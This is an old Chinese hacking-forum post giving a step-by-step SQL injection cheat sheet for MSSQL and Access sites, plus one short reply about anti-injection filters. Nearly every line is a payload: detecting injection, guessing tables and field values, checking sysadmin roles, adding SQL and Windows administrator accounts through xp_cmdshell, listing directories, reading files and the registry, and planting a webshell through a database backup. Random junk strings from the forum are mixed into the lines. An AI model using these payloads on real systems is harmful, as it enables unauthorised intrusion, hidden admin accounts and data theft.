找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2848|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
手工脚本注入
' j1 ?" K4 P# ]. ~$ c# H4 q1.判断是否有注入;and 1=1 ;and 1=2 ) n8 c5 S+ _2 ?  E/ ^% y6 a2 I2 \! D
" `5 t' Q: f' e7 y
2.初步判断是否是mssql ;and user>0   O0 c$ ^. ]: e

, U" D- A$ q( h/ T5 l3.注入参数是字符'and [查询条件] and ''=' 7 t1 N# }/ w8 V% e1 [  h

9 L/ J1 J% h! `. M4 G/ E0 _/ M' ~4.搜索时没过滤参数的'and [查询条件] and '%25'='
' \1 \; V; ]/ J2 ^) F( \
8 Q: T8 `- |# \2 A. `5.判断数据库系统 5 i9 `* O8 [1 |. d  G) @
;and (select count(*) from sysobjects)>0 mssql ( ]# _6 n# R: m4 P' `2 H
;and (select count(*) from msysobjects)>0 access
) f& I  N( I2 G$ A4 \: V+ e! @: v8 J/ @9 [: o' B. m4 G
6.猜数据库 ;and (select Count(*) from [数据库名])>0
4 W# t- G! w. d5 C* ^- @4 n$ I2 q/ U: j# Q% I$ l# n
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ' u! L  t* {/ {  l1 {  m9 T
* \. }$ e# r  `) P) ]. u% G) F
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
, a. _- ^$ l0 o$ ^$ c" S! P7 i
. w. `3 c1 v! }/ g" ?9.(1)猜字段的ascii值(access) ; ^7 N* S) v4 y% n( X5 M
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
5 ?) G1 r% r; P- F- j; U3 T) j2 w1 g
3 n( r& D* c9 h$ u2 j! ?/ @(2)猜字段的ascii值(mssql)
/ u) t* R$ |5 T;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ' z+ ?9 g. a, Z7 D; t3 f' |
2 _: s! o* Y! K( J! p
10.测试权限结构(mssql) 9 Y* Z) l; F$ c$ N" ^1 b
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
  u- f. e  K$ F% |;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ! a: ?+ ?. V& {* K' u# p
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
3 X6 o7 }0 z9 T$ z+ b6 {3 U;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--   G7 _/ J- ^4 `7 m8 X
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
' c$ d5 v: T7 W' Z. s/ j1 G;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- , \4 @' s* w/ @% F/ z( W# z7 @5 H
;and 1=(select IS_MEMBER('db_owner'));-- & U9 g  v/ \8 W( A% ^: x" w. C

: r3 v& T, s1 i11.添加mssql和系统的帐户
, I/ @( z6 l& c$ L;exec master.dbo.sp_addlogin username;--
3 f5 s& L% C) s# }9 l4 a* U9 R8 C; T' u: [
;exec master.dbo.sp_password null,username,password;-- 6 ^% ]* A8 _6 c; Z  ^
. S. K) y$ x; ^! F: U% t
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
  P  x/ B! R7 B4 j+ x4 q
3 ^! j: m. @! u. `/ D;exec master.dbo.xp_cmdshell 'net user username password
  H1 f, h6 A  m" ^7 Y& I* A' a/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
: m( E$ t3 C/ K& W9 d8 M9 C, l- U; S* S/ z. E( a# w
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 9 `. V7 G) N9 W' ]9 m  E5 n
1 }; J3 [# }% f+ N5 I
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- $ `+ }) E0 H: R+ r/ x

$ K8 f5 ~2 a# v; S$ D12.(1)遍历目录 6 `% m4 e3 t6 n" M
: q# h/ |4 C* z, Y9 ^
;create table dirs(paths varchar(100), id int)
7 a1 ~. g# s5 h) v  z, N, U;insert dirs exec master.dbo.xp_dirtree 'c:\' : @) c2 W; k( F) B9 z" p- H
;and (select top 1 paths from dirs)>0 & q# t2 o& E8 a. ?- Y/ X
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 4 ~% c+ ^: W% m: v1 |  x
# ?2 z1 U0 o; K" n3 S5 D
(2)遍历目录
& s$ D4 u6 ^# w; j;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
% q8 \/ a  H& p) x3 ~: ~& m- i;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ' v; C/ O+ ?; W# h+ T+ E( r
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 + ]9 h, S# f* h1 L& g8 S# \0 e
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 : z  B9 J7 A' r( l
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 + n& U& ~/ P% H
" d7 I1 Q# B6 F0 |/ Q* w; l
13.mssql中的存储过程 ( n- W3 W/ b9 @& W. E- }: r

5 d/ Q' q; p* o$ t0 Y5 j% @: uxp_regenumvalues 注册表根键, 子键
: X' _/ r( S6 x;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
6 W7 ~9 r6 T3 y! L  H2 T( j
( f3 b7 W& }) C' \: i. r7 z7 y' wxp_regread 根键,子键,键值名
' l/ ~1 e1 G% D0 K; \7 k5 p- e;exec xp_regread 7 {- g% q3 ?4 a' t3 M4 y
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
6 p, A4 G/ S4 I0 L- R9 Y4 g  y# d: G6 |1 F1 k- q$ O+ ~1 ~4 v# c
xp_regwrite 根键,子键, 值名, 值类型, 值
; {5 ^/ q" b* H& Y值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ( o3 T4 _4 S0 X* o1 u
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
5 F5 [7 v3 y& V, V, E) p% \: u# V
& D, O: V0 c9 J+ q! bxp_regdeletevalue 根键,子键,值名 5 t( i/ g2 K7 v( b0 v

# s, ^/ j) J: }exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
% y' m4 @2 x7 l4 O5 U0 O1 `4 E' A2 n5 a* i# R: C! \
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 2 z" z* `# y; L

+ S* }! f. i- D14.mssql的backup创建webshell
" y  V0 D/ h: F/ w, W5 Quse model
$ ~  ~# D4 p& \. U. ncreate table cmd(str image); 3 \- Y: p- S/ f1 @( f/ B6 o
insert into cmd(str) values ('');
% s& j; R5 R7 N0 j1 j( U1 zbackup database model to disk='c:\l.asp'; % K, g5 r) Z$ M% o" h( d0 i9 o

" O) n* q4 y( H% t6 K/ c; ]15.mssql内置函数 5 E$ u: r) ~( W9 z1 D
;and (select @@version)>0 获得Windows的版本号
: t4 @" q6 ?, o. n7 b;and user_name()='dbo' 判断当前系统的连接用户是不是sa
1 y% S5 r7 n9 S' P+ S;and (select user_name())>0 爆当前系统的连接用户 # Z! _3 R: K5 R& A& y
;and (select db_name())>0 得到当前连接的数据库 : q- [2 Z! |3 ^8 N  r

/ P: r( c; s+ ?! q+ R7 v* T16.简洁的webshell ! D  C# D7 k0 H/ \4 t

/ T# n1 l) y$ d4 d1 Xuse model
+ n! p( L$ F' A( Z) e# Z1 l% n0 [: P, K
create table cmd(str image);
( H* e; b% Z( w& Z- g1 u- y- q, j
$ g- l0 t) N' P, g' Jinsert into cmd(str) values (''); 9 T. S" v5 k' r9 F
$ U2 `4 |  ^. Q* b: h9 R1 B
backup database model to disk='g:\wwwtest\l.asp'; , e' q* F) X8 R$ K( X* ~4 |$ P% V
3 _; T. O- g1 U8 A8 ^$ F3 `" `: {
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表